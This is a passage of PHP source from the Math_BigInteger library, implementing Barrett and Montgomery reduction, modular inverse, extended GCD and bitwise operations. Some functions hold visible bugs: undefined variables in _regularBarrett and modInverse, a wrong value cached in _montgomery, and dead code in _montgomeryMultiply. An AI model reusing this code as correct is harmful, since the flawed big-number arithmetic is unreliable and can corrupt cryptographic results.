        return $result[MATH_BIGINTEGER_VALUE];
    }

    /**
     * (Regular) Barrett Modular Reduction
     *
     * For numbers with more than four digits Math_BigInteger::_barrett() is faster.  The difference between that and this
     * is that this function does not fold the denominator into a smaller form.
     *
     * @see _slidingWindow()
     * @access private
     * @param Array $x
     * @param Array $n
     * @return Array
     */
    function _regularBarrett($x, $n)
    {
        static $cache = array(
            MATH_BIGINTEGER_VARIABLE =&gt; array(),
            MATH_BIGINTEGER_DATA =&gt; array()
        );

        $n_length = count($n);

        if (count($x) &gt; 2 * $n_length) {
            $lhs = new Math_BigInteger();
            $rhs = new Math_BigInteger();
            $lhs-&gt;value = $x;
            $rhs-&gt;value = $n;
            list(, $temp) = $lhs-&gt;divide($rhs);
            return $temp-&gt;value;
        }

        if ( ($key = array_search($n, $cache[MATH_BIGINTEGER_VARIABLE])) === false ) {
            $key = count($cache[MATH_BIGINTEGER_VARIABLE]);
            $cache[MATH_BIGINTEGER_VARIABLE][] = $n;
            $lhs = new Math_BigInteger();
            $lhs_value = &amp;$lhs-&gt;value;
            $lhs_value = $this-&gt;_array_repeat(0, 2 * $n_length);
            $lhs_value[] = 1;
            $rhs = new Math_BigInteger();
            $rhs-&gt;value = $n;
            list($temp, ) = $lhs-&gt;divide($rhs); // m.length
            $cache[MATH_BIGINTEGER_DATA][] = $temp-&gt;value;
        }

        // 2 * m.length - (m.length - 1) = m.length + 1
        $temp = array_slice($x, $n_length - 1);
        // (m.length + 1) + m.length = 2 * m.length + 1
        $temp = $this-&gt;_multiply($temp, false, $cache[MATH_BIGINTEGER_DATA][$key], false);
        // (2 * m.length + 1) - (m.length - 1) = m.length + 2
        $temp = array_slice($temp[MATH_BIGINTEGER_VALUE], $n_length + 1);

        // m.length + 1
        $result = array_slice($x, 0, $n_length + 1);
        // m.length + 1
        $temp = $this-&gt;_multiplyLower($temp, false, $n, false, $n_length + 1);
        // $temp == array_slice($temp-&gt;_multiply($temp, false, $n, false)-&gt;value, 0, $n_length + 1)

        if ($this-&gt;_compare($result, false, $temp[MATH_BIGINTEGER_VALUE], $temp[MATH_BIGINTEGER_SIGN]) &lt; 0) {
            $corrector_value = $this-&gt;_array_repeat(0, $n_length + 1);
            $corrector_value[] = 1;
            $result = $this-&gt;_add($result, false, $corrector, false);
            $result = $result[MATH_BIGINTEGER_VALUE];
        }

        // at this point, we're subtracting a number with m.length + 1 digits from another number with m.length + 1 digits
        $result = $this-&gt;_subtract($result, false, $temp[MATH_BIGINTEGER_VALUE], $temp[MATH_BIGINTEGER_SIGN]);
        while ($this-&gt;_compare($result[MATH_BIGINTEGER_VALUE], $result[MATH_BIGINTEGER_SIGN], $n, false) &gt; 0) {
            $result = $this-&gt;_subtract($result[MATH_BIGINTEGER_VALUE], $result[MATH_BIGINTEGER_SIGN], $n, false);
        }

        return $result[MATH_BIGINTEGER_VALUE];
    }

    /**
     * Performs long multiplication up to $stop digits
     *
     * If you're going to be doing array_slice($product-&gt;value, 0, $stop), some cycles can be saved.
     *
     * @see _regularBarrett()
     * @param Array $x_value
     * @param Boolean $x_negative
     * @param Array $y_value
     * @param Boolean $y_negative
     * @return Array
     * @access private
     */
    function _multiplyLower($x_value, $x_negative, $y_value, $y_negative, $stop)
    {
        $x_length = count($x_value);
        $y_length = count($y_value);

        if ( !$x_length || !$y_length ) { // a 0 is being multiplied
            return array(
                MATH_BIGINTEGER_VALUE =&gt; array(),
                MATH_BIGINTEGER_SIGN =&gt; false
            );
        }

        if ( $x_length &lt; $y_length ) {
            $temp = $x_value;
            $x_value = $y_value;
            $y_value = $temp;

            $x_length = count($x_value);
            $y_length = count($y_value);
        }

        $product_value = $this-&gt;_array_repeat(0, $x_length + $y_length);

        // the following for loop could be removed if the for loop following it
        // (the one with nested for loops) initially set $i to 0, but
        // doing so would also make the result in one set of unnecessary adds,
        // since on the outermost loops first pass, $product-&gt;value[$k] is going
        // to always be 0

        $carry = 0;

        for ($j = 0; $j &lt; $x_length; ++$j) { // ie. $i = 0, $k = $i
            $temp = $x_value[$j] * $y_value[0] + $carry; // $product_value[$k] == 0
            $carry = (int) ($temp / 0x4000000);
            $product_value[$j] = (int) ($temp - 0x4000000 * $carry);
        }

        if ($j &lt; $stop) {
            $product_value[$j] = $carry;
        }

        // the above for loop is what the previous comment was talking about.  the
        // following for loop is the &quot;one with nested for loops&quot;

        for ($i = 1; $i &lt; $y_length; ++$i) {
            $carry = 0;

            for ($j = 0, $k = $i; $j &lt; $x_length &amp;&amp; $k &lt; $stop; ++$j, ++$k) {
                $temp = $product_value[$k] + $x_value[$j] * $y_value[$i] + $carry;
                $carry = (int) ($temp / 0x4000000);
                $product_value[$k] = (int) ($temp - 0x4000000 * $carry);
            }

            if ($k &lt; $stop) {
                $product_value[$k] = $carry;
            }
        }

        return array(
            MATH_BIGINTEGER_VALUE =&gt; $this-&gt;_trim($product_value),
            MATH_BIGINTEGER_SIGN =&gt; $x_negative != $y_negative
        );
    }

    /**
     * Montgomery Modular Reduction
     *
     * ($x-&gt;_prepMontgomery($n))-&gt;_montgomery($n) yields $x % $n.
     * {@link http://math.libtomcrypt.com/files/tommath.pdf#page=170 MPM 6.3} provides insights on how this can be
     * improved upon (basically, by using the comba method).  gcd($n, 2) must be equal to one for this function
     * to work correctly.
     *
     * @see _prepMontgomery()
     * @see _slidingWindow()
     * @access private
     * @param Array $x
     * @param Array $n
     * @return Array
     */
    function _montgomery($x, $n)
    {
        static $cache = array(
            MATH_BIGINTEGER_VARIABLE =&gt; array(),
            MATH_BIGINTEGER_DATA =&gt; array()
        );

        if ( ($key = array_search($n, $cache[MATH_BIGINTEGER_VARIABLE])) === false ) {
            $key = count($cache[MATH_BIGINTEGER_VARIABLE]);
            $cache[MATH_BIGINTEGER_VARIABLE][] = $x;
            $cache[MATH_BIGINTEGER_DATA][] = $this-&gt;_modInverse67108864($n);
        }

        $k = count($n);

        $result = array(MATH_BIGINTEGER_VALUE =&gt; $x);

        for ($i = 0; $i &lt; $k; ++$i) {
            $temp = $result[MATH_BIGINTEGER_VALUE][$i] * $cache[MATH_BIGINTEGER_DATA][$key];
            $temp = (int) ($temp - 0x4000000 * ((int) ($temp / 0x4000000)));
            $temp = $this-&gt;_regularMultiply(array($temp), $n);
            $temp = array_merge($this-&gt;_array_repeat(0, $i), $temp);
            $result = $this-&gt;_add($result[MATH_BIGINTEGER_VALUE], false, $temp, false);
        }

        $result[MATH_BIGINTEGER_VALUE] = array_slice($result[MATH_BIGINTEGER_VALUE], $k);

        if ($this-&gt;_compare($result, false, $n, false) &gt;= 0) {
            $result = $this-&gt;_subtract($result[MATH_BIGINTEGER_VALUE], false, $n, false);
        }

        return $result[MATH_BIGINTEGER_VALUE];
    }

    /**
     * Montgomery Multiply
     *
     * Interleaves the montgomery reduction and long multiplication algorithms together as described in 
     * {@link http://www.cacr.math.uwaterloo.ca/hac/about/chap14.pdf#page=13 HAC 14.36}
     *
     * @see _prepMontgomery()
     * @see _montgomery()
     * @access private
     * @param Array $x
     * @param Array $y
     * @param Array $m
     * @return Array
     */
    function _montgomeryMultiply($x, $y, $m)
    {
        $temp = $this-&gt;_multiply($x, false, $y, false);
        return $this-&gt;_montgomery($temp[MATH_BIGINTEGER_VALUE], $m);

        static $cache = array(
            MATH_BIGINTEGER_VARIABLE =&gt; array(),
            MATH_BIGINTEGER_DATA =&gt; array()
        );

        if ( ($key = array_search($m, $cache[MATH_BIGINTEGER_VARIABLE])) === false ) {
            $key = count($cache[MATH_BIGINTEGER_VARIABLE]);
            $cache[MATH_BIGINTEGER_VARIABLE][] = $m;
            $cache[MATH_BIGINTEGER_DATA][] = $this-&gt;_modInverse67108864($m);
        }

        $n = max(count($x), count($y), count($m));
        $x = array_pad($x, $n, 0);
        $y = array_pad($y, $n, 0);
        $m = array_pad($m, $n, 0);
        $a = array(MATH_BIGINTEGER_VALUE =&gt; $this-&gt;_array_repeat(0, $n + 1));
        for ($i = 0; $i &lt; $n; ++$i) {
            $temp = $a[MATH_BIGINTEGER_VALUE][0] + $x[$i] * $y[0];
            $temp = (int) ($temp - 0x4000000 * ((int) ($temp / 0x4000000)));
            $temp = $temp * $cache[MATH_BIGINTEGER_DATA][$key];
            $temp = (int) ($temp - 0x4000000 * ((int) ($temp / 0x4000000)));
            $temp = $this-&gt;_add($this-&gt;_regularMultiply(array($x[$i]), $y), false, $this-&gt;_regularMultiply(array($temp), $m), false);
            $a = $this-&gt;_add($a[MATH_BIGINTEGER_VALUE], false, $temp[MATH_BIGINTEGER_VALUE], false);
            $a[MATH_BIGINTEGER_VALUE] = array_slice($a[MATH_BIGINTEGER_VALUE], 1);
        }
        if ($this-&gt;_compare($a[MATH_BIGINTEGER_VALUE], false, $m, false) &gt;= 0) {
            $a = $this-&gt;_subtract($a[MATH_BIGINTEGER_VALUE], false, $m, false);
        }
        return $a[MATH_BIGINTEGER_VALUE];
    }

    /**
     * Prepare a number for use in Montgomery Modular Reductions
     *
     * @see _montgomery()
     * @see _slidingWindow()
     * @access private
     * @param Array $x
     * @param Array $n
     * @return Array
     */
    function _prepMontgomery($x, $n)
    {
        $lhs = new Math_BigInteger();
        $lhs-&gt;value = array_merge($this-&gt;_array_repeat(0, count($n)), $x);
        $rhs = new Math_BigInteger();
        $rhs-&gt;value = $n;

        list(, $temp) = $lhs-&gt;divide($rhs);
        return $temp-&gt;value;
    }

    /**
     * Modular Inverse of a number mod 2**26 (eg. 67108864)
     *
     * Based off of the bnpInvDigit function implemented and justified in the following URL:
     *
     * {@link http://www-cs-students.stanford.edu/~tjw/jsbn/jsbn.js}
     *
     * The following URL provides more info:
     *
     * {@link http://groups.google.com/group/sci.crypt/msg/7a137205c1be7d85}
     *
     * As for why we do all the bitmasking...  strange things can happen when converting from floats to ints. For
     * instance, on some computers, var_dump((int) -4294967297) yields int(-1) and on others, it yields 
     * int(-2147483648).  To avoid problems stemming from this, we use bitmasks to guarantee that ints aren't
     * auto-converted to floats.  The outermost bitmask is present because without it, there's no guarantee that
     * the &quot;residue&quot; returned would be the so-called &quot;common residue&quot;.  We use fmod, in the last step, because the
     * maximum possible $x is 26 bits and the maximum $result is 16 bits.  Thus, we have to be able to handle up to
     * 40 bits, which only 64-bit floating points will support.
     *
     * Thanks to Pedro Gimeno Fortea for input!
     *
     * @see _montgomery()
     * @access private
     * @param Array $x
     * @return Integer
     */
    function _modInverse67108864($x) // 2**26 == 67108864
    {
        $x = -$x[0];
        $result = $x &amp; 0x3; // x**-1 mod 2**2
        $result = ($result * (2 - $x * $result)) &amp; 0xF; // x**-1 mod 2**4
        $result = ($result * (2 - ($x &amp; 0xFF) * $result))  &amp; 0xFF; // x**-1 mod 2**8
        $result = ($result * ((2 - ($x &amp; 0xFFFF) * $result) &amp; 0xFFFF)) &amp; 0xFFFF; // x**-1 mod 2**16
        $result = fmod($result * (2 - fmod($x * $result, 0x4000000)), 0x4000000); // x**-1 mod 2**26
        return $result &amp; 0x3FFFFFF;
    }

    /**
     * Calculates modular inverses.
     *
     * Say you have (30 mod 17 * x mod 17) mod 17 == 1.  x can be found using modular inverses.
     *
     * Here's an example:
     * &lt;code&gt;
     * &lt;?php
     *    include('Math/BigInteger.php');
     *
     *    $a = new Math_BigInteger(30);
     *    $b = new Math_BigInteger(17);
     *
     *    $c = $a-&gt;modInverse($b);
     *    echo $c-&gt;toString(); // outputs 4
     *
     *    echo &quot;\r\n&quot;;
     *
     *    $d = $a-&gt;multiply($c);
     *    list(, $d) = $d-&gt;divide($b);
     *    echo $d; // outputs 1 (as per the definition of modular inverse)
     * ?&gt;
     * &lt;/code&gt;
     *
     * @param Math_BigInteger $n
     * @return mixed false, if no modular inverse exists, Math_BigInteger, otherwise.
     * @access public
     * @internal See {@link http://www.cacr.math.uwaterloo.ca/hac/about/chap14.pdf#page=21 HAC 14.64} for more information.
     */
    function modInverse($n)
    {
        switch ( MATH_BIGINTEGER_MODE ) {
            case MATH_BIGINTEGER_MODE_GMP:
                $temp = new Math_BigInteger();
                $temp-&gt;value = gmp_invert($this-&gt;value, $n-&gt;value);

                return ( $temp-&gt;value === false ) ? false : $this-&gt;_normalize($temp);
        }

        static $zero, $one;
        if (!isset($zero)) {
            $zero = new Math_BigInteger();
            $one = new Math_BigInteger(1);
        }

        // $x mod $n == $x mod -$n.
        $n = $n-&gt;abs();

        if ($this-&gt;compare($zero) &lt; 0) {
            $temp = $this-&gt;abs();
            $temp = $temp-&gt;modInverse($n);
            return $negated === false ? false : $this-&gt;_normalize($n-&gt;subtract($temp));
        }

        extract($this-&gt;extendedGCD($n));

        if (!$gcd-&gt;equals($one)) {
            return false;
        }

        $x = $x-&gt;compare($zero) &lt; 0 ? $x-&gt;add($n) : $x;

        return $this-&gt;compare($zero) &lt; 0 ? $this-&gt;_normalize($n-&gt;subtract($x)) : $this-&gt;_normalize($x);
    }

    /**
     * Calculates the greatest common divisor and Bzout's identity.
     *
     * Say you have 693 and 609.  The GCD is 21.  Bzout's identity states that there exist integers x and y such that
     * 693*x + 609*y == 21.  In point of fact, there are actually an infinite number of x and y combinations and which
     * combination is returned is dependant upon which mode is in use.  See
     * {@link http://en.wikipedia.org/wiki/B%C3%A9zout%27s_identity Bzout's identity - Wikipedia} for more information.
     *
     * Here's an example:
     * &lt;code&gt;
     * &lt;?php
     *    include('Math/BigInteger.php');
     *
     *    $a = new Math_BigInteger(693);
     *    $b = new Math_BigInteger(609);
     *
     *    extract($a-&gt;extendedGCD($b));
     *
     *    echo $gcd-&gt;toString() . &quot;\r\n&quot;; // outputs 21
     *    echo $a-&gt;toString() * $x-&gt;toString() + $b-&gt;toString() * $y-&gt;toString(); // outputs 21
     * ?&gt;
     * &lt;/code&gt;
     *
     * @param Math_BigInteger $n
     * @return Math_BigInteger
     * @access public
     * @internal Calculates the GCD using the binary xGCD algorithim described in
     *    {@link http://www.cacr.math.uwaterloo.ca/hac/about/chap14.pdf#page=19 HAC 14.61}.  As the text above 14.61 notes,
     *    the more traditional algorithim requires &quot;relatively costly multiple-precision divisions&quot;.
     */
    function extendedGCD($n)
    {
        switch ( MATH_BIGINTEGER_MODE ) {
            case MATH_BIGINTEGER_MODE_GMP:
                extract(gmp_gcdext($this-&gt;value, $n-&gt;value));

                return array(
                    'gcd' =&gt; $this-&gt;_normalize(new Math_BigInteger($g)),
                    'x'   =&gt; $this-&gt;_normalize(new Math_BigInteger($s)),
                    'y'   =&gt; $this-&gt;_normalize(new Math_BigInteger($t))
                );
            case MATH_BIGINTEGER_MODE_BCMATH:
                // it might be faster to use the binary xGCD algorithim here, as well, but (1) that algorithim works
                // best when the base is a power of 2 and (2) i don't think it'd make much difference, anyway.  as is,
                // the basic extended euclidean algorithim is what we're using.

                $u = $this-&gt;value;
                $v = $n-&gt;value;

                $a = '1';
                $b = '0';
                $c = '0';
                $d = '1';

                while (bccomp($v, '0', 0) != 0) {
                    $q = bcdiv($u, $v, 0);

                    $temp = $u;
                    $u = $v;
                    $v = bcsub($temp, bcmul($v, $q, 0), 0);

                    $temp = $a;
                    $a = $c;
                    $c = bcsub($temp, bcmul($a, $q, 0), 0);

                    $temp = $b;
                    $b = $d;
                    $d = bcsub($temp, bcmul($b, $q, 0), 0);
                }

                return array(
                    'gcd' =&gt; $this-&gt;_normalize(new Math_BigInteger($u)),
                    'x'   =&gt; $this-&gt;_normalize(new Math_BigInteger($a)),
                    'y'   =&gt; $this-&gt;_normalize(new Math_BigInteger($b))
                );
        }

        $y = $n-&gt;copy();
        $x = $this-&gt;copy();
        $g = new Math_BigInteger();
        $g-&gt;value = array(1);

        while ( !(($x-&gt;value[0] &amp; 1)|| ($y-&gt;value[0] &amp; 1)) ) {
            $x-&gt;_rshift(1);
            $y-&gt;_rshift(1);
            $g-&gt;_lshift(1);
        }

        $u = $x-&gt;copy();
        $v = $y-&gt;copy();

        $a = new Math_BigInteger();
        $b = new Math_BigInteger();
        $c = new Math_BigInteger();
        $d = new Math_BigInteger();

        $a-&gt;value = $d-&gt;value = $g-&gt;value = array(1);
        $b-&gt;value = $c-&gt;value = array();

        while ( !empty($u-&gt;value) ) {
            while ( !($u-&gt;value[0] &amp; 1) ) {
                $u-&gt;_rshift(1);
                if ( (!empty($a-&gt;value) &amp;&amp; ($a-&gt;value[0] &amp; 1)) || (!empty($b-&gt;value) &amp;&amp; ($b-&gt;value[0] &amp; 1)) ) {
                    $a = $a-&gt;add($y);
                    $b = $b-&gt;subtract($x);
                }
                $a-&gt;_rshift(1);
                $b-&gt;_rshift(1);
            }

            while ( !($v-&gt;value[0] &amp; 1) ) {
                $v-&gt;_rshift(1);
                if ( (!empty($d-&gt;value) &amp;&amp; ($d-&gt;value[0] &amp; 1)) || (!empty($c-&gt;value) &amp;&amp; ($c-&gt;value[0] &amp; 1)) ) {
                    $c = $c-&gt;add($y);
                    $d = $d-&gt;subtract($x);
                }
                $c-&gt;_rshift(1);
                $d-&gt;_rshift(1);
            }

            if ($u-&gt;compare($v) &gt;= 0) {
                $u = $u-&gt;subtract($v);
                $a = $a-&gt;subtract($c);
                $b = $b-&gt;subtract($d);
            } else {
                $v = $v-&gt;subtract($u);
                $c = $c-&gt;subtract($a);
                $d = $d-&gt;subtract($b);
            }
        }

        return array(
            'gcd' =&gt; $this-&gt;_normalize($g-&gt;multiply($v)),
            'x'   =&gt; $this-&gt;_normalize($c),
            'y'   =&gt; $this-&gt;_normalize($d)
        );
    }

    /**
     * Calculates the greatest common divisor
     *
     * Say you have 693 and 609.  The GCD is 21.
     *
     * Here's an example:
     * &lt;code&gt;
     * &lt;?php
     *    include('Math/BigInteger.php');
     *
     *    $a = new Math_BigInteger(693);
     *    $b = new Math_BigInteger(609);
     *
     *    $gcd = a-&gt;extendedGCD($b);
     *
     *    echo $gcd-&gt;toString() . &quot;\r\n&quot;; // outputs 21
     * ?&gt;
     * &lt;/code&gt;
     *
     * @param Math_BigInteger $n
     * @return Math_BigInteger
     * @access public
     */
    function gcd($n)
    {
        extract($this-&gt;extendedGCD($n));
        return $gcd;
    }

    /**
     * Absolute value.
     *
     * @return Math_BigInteger
     * @access public
     */
    function abs()
    {
        $temp = new Math_BigInteger();

        switch ( MATH_BIGINTEGER_MODE ) {
            case MATH_BIGINTEGER_MODE_GMP:
                $temp-&gt;value = gmp_abs($this-&gt;value);
                break;
            case MATH_BIGINTEGER_MODE_BCMATH:
                $temp-&gt;value = (bccomp($this-&gt;value, '0', 0) &lt; 0) ? substr($this-&gt;value, 1) : $this-&gt;value;
                break;
            default:
                $temp-&gt;value = $this-&gt;value;
        }

        return $temp;
    }

    /**
     * Compares two numbers.
     *
     * Although one might think !$x-&gt;compare($y) means $x != $y, it, in fact, means the opposite.  The reason for this is
     * demonstrated thusly:
     *
     * $x  &gt; $y: $x-&gt;compare($y)  &gt; 0
     * $x  &lt; $y: $x-&gt;compare($y)  &lt; 0
     * $x == $y: $x-&gt;compare($y) == 0
     *
     * Note how the same comparison operator is used.  If you want to test for equality, use $x-&gt;equals($y).
     *
     * @param Math_BigInteger $x
     * @return Integer &lt; 0 if $this is less than $x; &gt; 0 if $this is greater than $x, and 0 if they are equal.
     * @access public
     * @see equals()
     * @internal Could return $this-&gt;subtract($x), but that's not as fast as what we do do.
     */
    function compare($y)
    {
        switch ( MATH_BIGINTEGER_MODE ) {
            case MATH_BIGINTEGER_MODE_GMP:
                return gmp_cmp($this-&gt;value, $y-&gt;value);
            case MATH_BIGINTEGER_MODE_BCMATH:
                return bccomp($this-&gt;value, $y-&gt;value, 0);
        }

        return $this-&gt;_compare($this-&gt;value, $this-&gt;is_negative, $y-&gt;value, $y-&gt;is_negative);
    }

    /**
     * Compares two numbers.
     *
     * @param Array $x_value
     * @param Boolean $x_negative
     * @param Array $y_value
     * @param Boolean $y_negative
     * @return Integer
     * @see compare()
     * @access private
     */
    function _compare($x_value, $x_negative, $y_value, $y_negative)
    {
        if ( $x_negative != $y_negative ) {
            return ( !$x_negative &amp;&amp; $y_negative ) ? 1 : -1;
        }

        $result = $x_negative ? -1 : 1;

        if ( count($x_value) != count($y_value) ) {
            return ( count($x_value) &gt; count($y_value) ) ? $result : -$result;
        }
        $size = max(count($x_value), count($y_value));

        $x_value = array_pad($x_value, $size, 0);
        $y_value = array_pad($y_value, $size, 0);

        for ($i = count($x_value) - 1; $i &gt;= 0; --$i) {
            if ($x_value[$i] != $y_value[$i]) {
                return ( $x_value[$i] &gt; $y_value[$i] ) ? $result : -$result;
            }
        }

        return 0;
    }

    /**
     * Tests the equality of two numbers.
     *
     * If you need to see if one number is greater than or less than another number, use Math_BigInteger::compare()
     *
     * @param Math_BigInteger $x
     * @return Boolean
     * @access public
     * @see compare()
     */
    function equals($x)
    {
        switch ( MATH_BIGINTEGER_MODE ) {
            case MATH_BIGINTEGER_MODE_GMP:
                return gmp_cmp($this-&gt;value, $x-&gt;value) == 0;
            default:
                return $this-&gt;value === $x-&gt;value &amp;&amp; $this-&gt;is_negative == $x-&gt;is_negative;
        }
    }

    /**
     * Set Precision
     *
     * Some bitwise operations give different results depending on the precision being used.  Examples include left
     * shift, not, and rotates.
     *
     * @param Math_BigInteger $x
     * @access public
     * @return Math_BigInteger
     */
    function setPrecision($bits)
    {
        $this-&gt;precision = $bits;
        if ( MATH_BIGINTEGER_MODE != MATH_BIGINTEGER_MODE_BCMATH ) {
            $this-&gt;bitmask = new Math_BigInteger(chr((1 &lt;&lt; ($bits &amp; 0x7)) - 1) . str_repeat(chr(0xFF), $bits &gt;&gt; 3), 256);
        } else {
            $this-&gt;bitmask = new Math_BigInteger(bcpow('2', $bits, 0));
        }

        $temp = $this-&gt;_normalize($this);
        $this-&gt;value = $temp-&gt;value;
    }

    /**
     * Logical And
     *
     * @param Math_BigInteger $x
     * @access public
     * @internal Implemented per a request by Lluis Pamies i Juarez &lt;lluis _a_ pamies.cat&gt;
     * @return Math_BigInteger
     */
    function bitwise_and($x)
    {
        switch ( MATH_BIGINTEGER_MODE ) {
            case MATH_BIGINTEGER_MODE_GMP:
                $temp = new Math_BigInteger();
                $temp-&gt;value = gmp_and($this-&gt;value, $x-&gt;value);

                return $this-&gt;_normalize($temp);
            case MATH_BIGINTEGER_MODE_BCMATH:
                $left = $this-&gt;toBytes();
                $right = $x-&gt;toBytes();

                $length = max(strlen($left), strlen($right));

                $left = str_pad($left, $length, chr(0), STR_PAD_LEFT);
                $right = str_pad($right, $length, chr(0), STR_PAD_LEFT);

                return $this-&gt;_normalize(new Math_BigInteger($left &amp; $right, 256));
        }

        $result = $this-&gt;copy();

        $length = min(count($x-&gt;value), count($this-&gt;value));

        $result-&gt;value = array_slice($result-&gt;value, 0, $length);

        for ($i = 0; $i &lt; $length; ++$i) {
            $result-&gt;value[$i] = $result-&gt;value[$i] &amp; $x-&gt;value[$i];
        }

        return $this-&gt;_normalize($result);
    }

    /**
     * Logical Or
     *
     * @param Math_BigInteger $x
     * @access public
     * @internal Implemented per a request by Lluis Pamies i Juarez &lt;lluis _a_ pamies.cat&gt;
     * @return Math_BigInteger
     */
    function bitwise_or($x)
    {
        switch ( MATH_BIGINTEGER_MODE ) {
            case MATH_BIGINTEGER_MODE_GMP:
                $temp = new Math_BigInteger();
                $temp-&gt;value = gmp_or($this-&gt;value, $x-&gt;value);

                return $this-&gt;_normalize($temp);
            case MATH_BIGINTEGER_MODE_BCMATH:
                $left = $this-&gt;toBytes();
                $right = $x-&gt;toBytes();

                $length = max(strlen($left), strlen($right));

                $left = str_pad($left, $length, chr(0), STR_PAD_LEFT);
                $right = str_pad($right, $length, chr(0), STR_PAD_LEFT);

                return $this-&gt;_normalize(new Math_BigInteger($left | $right, 256));
        }

        $length = max(count($this-&gt;value), count($x-&gt;value));
        $result = $this-&gt;copy();
        $result-&gt;value = array_pad($result-&gt;value, 0, $length);
        $x-&gt;value = array_pad($x-&gt;value, 0, $length);

        for ($i = 0; $i &lt; $length; ++$i) {
            $result-&gt;value[$i] = $this-&gt;value[$i] | $x-&gt;value[$i];
        }

        return $this-&gt;_normalize($result);
    }

    /**
     * Logical Exclusive-Or
     *
     * @param Math_BigInteger $x
     * @access public
     * @internal Implemented per a request by Lluis Pamies i Juarez &lt;lluis _a_ pamies.cat&gt;
     * @return Math_BigInteger
     */
    function bitwise_xor($x)
    {
        switch ( MATH_BIGINTEGER_MODE ) {
            case MATH_BIGINTEGER_MODE_GMP:
                $temp = new Math_BigInteger();
                $temp-&gt;value = gmp_xor($this-&gt;value, $x-&gt;value);

                return $this-&gt;_normalize($temp);
            case MATH_BIGINTEGER_MODE_BCMATH:
                $left = $this-&gt;toBytes();
                $right = $x-&gt;toBytes();

                $length = max(strlen($left), strlen($right));

                $left = str_pad($left, $length, chr(0), STR_PAD_LEFT);
                $right = str_pad($right, $length, chr(0), STR_PAD_LEFT);

                return $this-&gt;_normalize(new Math_BigInteger($left ^ $right, 256));
        }

        $length = max(count($this-&gt;value), count($x-&gt;value));
        $result = $this-&gt;copy();
        $result-&gt;value = array_pad($result-&gt;value, 0, $length);
        $x-&gt;value = array_pad($x-&gt;value, 0, $length);

        for ($i = 0; $i &lt; $length; ++$i) {
            $result-&gt;value[$i] = $this-&gt;value[$i] ^ $x-&gt;value[$i];
        }

        return $this-&gt;_normalize($result);
    }

    /**
     * Logical Not
     *
     * @access public
     * @internal Implemented per a request by Lluis Pamies i Juarez &lt;lluis _a_ pamies.cat&gt;
     * @return Math_BigInteger
     */
    function bitwise_not()
    {
        // calculuate &quot;not&quot; without regard to $this-&gt;precision
        // (will always result in a smaller number.  ie. ~1 isn't 1111 1110 - it's 0)
        $temp = $this-&gt;toBytes();
        $pre_msb = decbin(ord($temp[0]));
        $temp = ~$temp;
        $msb = decbin(ord($temp[0]));
        if (strlen($msb) == 8) {
            $msb = substr($msb, strpos($msb, '0'));
        }
        $temp[0] = chr(bindec($msb));

        // see if we need to add extra leading 1's
        $current_bits = strlen($pre_msb) + 8 * strlen($temp) - 8;
        $new_bits = $this-&gt;precision - $current_bits;
        if ($new_bits &lt;= 0) {
            return $this-&gt;_normalize(new Math_BigInteger($temp, 256));
        }

        // generate as many leading 1's as we need to.
        $leading_ones = chr((1 &lt;&lt; ($new_bits &amp; 0x7)) - 1) . str_repeat(chr(0xFF), $new_bits &gt;&gt; 3);
        $this-&gt;_base256_lshift($leading_ones, $current_bits);

        $temp = str_pad($temp, ceil($this-&gt;bits / 8), chr(0), STR_PAD_LEFT);

        return $this-&gt;_normalize(new Math_BigInteger($leading_ones | $temp, 256));
    }

    /**
     * Logical Right Shift
     *
     * Shifts BigInteger's by $shift bits, effectively dividing by 2**$shift.
     *
     * @param Integer $shift
     * @return Math_BigInteger
     * @access public
     * @internal The only version that yields any speed increases is the internal version.
     */
    function bitwise_rightShift($shift)
    {
        $temp = new Math_BigInteger();

        switch ( MATH_BIGINTEGER_MODE ) {
            case MATH_BIGINTEGER_MODE_GMP:
                static $two;

                if (!isset($two)) {
                    $two = gmp_init('2');
                }

                $temp-&gt;value = gmp_div_q($this-&gt;value, gmp_pow($two, $shift));

                break;
            case MATH_BIGINTEGER_MODE_BCMATH:
                $temp-&gt;value = bcdiv($this-&gt;value, bcpow('2', $shift, 0), 0);

                break;
            default: // could just replace _lshift with this, but then all _lshift() calls would need to be rewritten
                     // and I don't want to do that...
                $temp-&gt;value = $this-&gt;value;
                $temp-&gt;_rshift($shift);
        }

        return $this-&gt;_normalize($temp);
    }

    /**
     * Logical Left Shift
     *
     * Shifts BigInteger's by $shift bits, effectively multiplying by 2**$shift.
     *
     * @param Integer $shift
     * @return Math_BigInteger
     * @access public
     * @internal The only version that yields any speed increases is the internal version.
     */
    function bitwise_leftShift($shift)
    {
        $temp = new Math_BigInteger();

        switch ( MATH_BIGINTEGER_MODE ) {
            case MATH_BIGINTEGER_MODE_GMP:
                static $two;

                if (!isset($two)) {
                    $two = gmp_init('2');
                }

                $temp-&gt;value = gmp_mul($this-&gt;value, gmp_pow($two, $shift));

                break;
            case MATH_BIGINTEGER_MODE_BCMATH:
                $temp-&gt;value = bcmul($this-&gt;value, bcpow('2', $shift, 0), 0);

                break;
            default: // could just replace _rshift with this, but then all _lshift() calls would need to be rewritten
                     // and I don't want to do that...
                $temp-&gt;value = $this-&gt;value;
                $temp-&gt;_lshift($shift);
        }

        return $this-&gt;_normalize($temp);
    }

    /**
     * Logical Left Rotate
     *
     * Instead of the top x bits being dropped they're appended to the shifted bit string.
     *
     * @param Integer $shift
     * @return Math_BigInteger
     * @access public
     */
    function bitwise_leftRotate($shift)
    {
        $bits = $this-&gt;toBytes();

        if ($this-&gt;precision &gt; 0) {
            $precision = $this-&gt;precision;
            if ( MATH_BIGINTEGER_MODE == MATH_BIGINTEGER_MODE_BCMATH ) {
                $mask = $this-&gt;bitmask-&gt;subtract(new Math_BigInteger(1));
                $mask = $mask-&gt;toBytes();
            } else {
                $mask = $this-&gt;bitmask-&gt;toBytes();
            }
        } else {
            $temp = ord($bits[0]);
            for ($i = 0; $temp &gt;&gt; $i; ++$i);
            $precision = 8 * strlen($bits) - 8 + $i;
            $mask = chr((1 &lt;&lt; ($precision &amp; 0x7)) - 1) . str_repeat(chr(0xFF), $precision &gt;&gt; 3);
        }

        if ($shift &lt; 0) {
            $shift+= $precision;
        }
        $shift%= $precision;

        if (!$shift) {
            return $this-&gt;copy();
        }

        $left = $this-&gt;bitwise_leftShift($shift);
        $left = $left-&gt;bitwise_and(new Math_BigInteger($mask, 256));
        $right = $this-&gt;bitwise_rightShift($precision - $shift);
        $result = MATH_BIGINTEGER_MODE != MATH_BIGINTEGER_MODE_BCMATH ? $left-&gt;bitwise_or($right) : $left-&gt;add($right);
        return $this-&gt;_normalize($result);
    }

    /**
     * Logical Right Rotate
     *
